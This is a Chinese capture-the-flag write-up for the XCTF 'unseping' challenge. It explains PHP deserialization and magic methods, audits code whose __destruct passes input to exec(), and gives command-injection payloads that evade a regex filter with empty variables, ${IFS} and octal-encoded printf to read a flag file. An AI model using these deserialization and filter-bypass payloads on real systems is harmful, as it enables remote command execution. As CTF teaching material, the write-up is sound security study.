unseping

adworld攻防世界 (xctf.org.cn)

总结：这道题涉及的知识点比较冗杂，1，反序列化，2，魔术方程，3，正则表达式，其中对php的代码审计有要求

先查询三个词的知识

反序列化：

反序列化（Deserialization）是将序列化后的数据重新还原成原始数据结构或对象的过程。序列化（Serialization）是将数据结构或对象转换成一种可存储或传输格式的过程，而反序列化则是这个过程的逆操作。

反序列化的用途

反序列化在许多场景中非常有用，例如：

1. **数据存储**：将序列化的数据从文件或数据库中读取，并还原成原始对象，以便在程序中使用。
2. **网络通信**：在网络上传输数据时，接收端需要将序列化的数据反序列化为原始对象，以便进行处理。

3. **对象持久化**：在分布式系统中，不同节点之间需要通过序列化和反序列化来交换对象数据。

魔术方程：

[PHP的魔术方法（Magic Methods）是一组特殊的方法，它们在特定的事件发生时会自动调用。这些方法以双下划线（__）开头，例如 `__construct()`、`__destruct()`、`__call()` 等。这些方法可以帮助实现类的自动加载、属性访问、对象克隆、序列化和反序列化等功能

- `__construct()`：类的构造函数，在对象创建时自动调用。
- `__destruct()`：类的析构函数，在对象销毁时自动调用。
- `__call()`：在对象中调用一个不可访问的方法时调用。
- `__get()`：获取一个类的成员变量时调用。
- `__set()`：设置一个类的成员变量时调用。
- `__toString()`：类被当成字符串时的回应方法。

writeup：

首先打开页面，发现就是一个php代码，进行代码审计

```php
<?php
highlight_file(__FILE__);

class ease{

    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    }

    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str,
$pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }

    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
```

```
        }
    }
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
```

首先我们可以看到**wakeup and** destruct两个魔术方程

我们可以总结出这个流程：

反序列化传入ctf参数---参数进行base64解密---参数进行反序列化---因为调用了反序列化函数，隐式调用了wakeup参数---wakeup调用waf进行正则表达式过滤---传入两个参数，method字符串和数组args---在销毁时候，如果method是ping，就执行ping函数中，传递参数 【args】这个命令

这其中涉及到call_user_func_array这个参数回调函数，其用法

```
mixed call_user_func_array(callable $callback, array $args)
```

- `$callback`：要调用的回调函数，可以是函数名的字符串、类的方法（数组形式），或者匿名函数。
- `$args`：一个数组，包含要传递给回调函数的参数。

以下是一个简单的例子：

```
function add($a, $b) {
    return $a + $b;
}

$params = array(2, 3);
$result = call_user_func_array('add', $params);
echo $result; // 输出: 5
```

所以思路很清晰吗，我们构造一个序列化的字符串，其中method=ping，args="我们执行的shell"

我们不需要太考虑怎么构造序列化字符串，因为我们本地调试部署一个就会自动生成比如：

把除了构造函数其他的都注释掉，在测试中加上

```
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
$a=new ease("ping",array("pwd"));
echo serialize($a)."\n";
echo base64_encode(serialize($a));
```

就可以得到我们想要的序列化字符串

接下来的问题是如何绕过正则表达式：他过滤了||&|;| |\/|cat|flag|tac|php|ls这些命令，我们可以怎么想绕过?

1，命令中间加未定义空变量，其会自动转义为空

2，空格可以考虑用${IFS}这个在linux下的空格转义符表示

3,url编码，不过这里不能使用，因为绕过之后是直接执行exec命令，他无法识别url编码

4，8进制，16进制绕过

可以这样写

```
ca${AAA}t${IFS}fl${AAA}ag_1s_here/fl${AAA}ag_831b69012c67b35f.ph${AAA}p
```

但是`/`没法绕过啊，那就用八进制绕过这个/

```
"$(printf
"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\1
47\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")"
```

完成，得到flag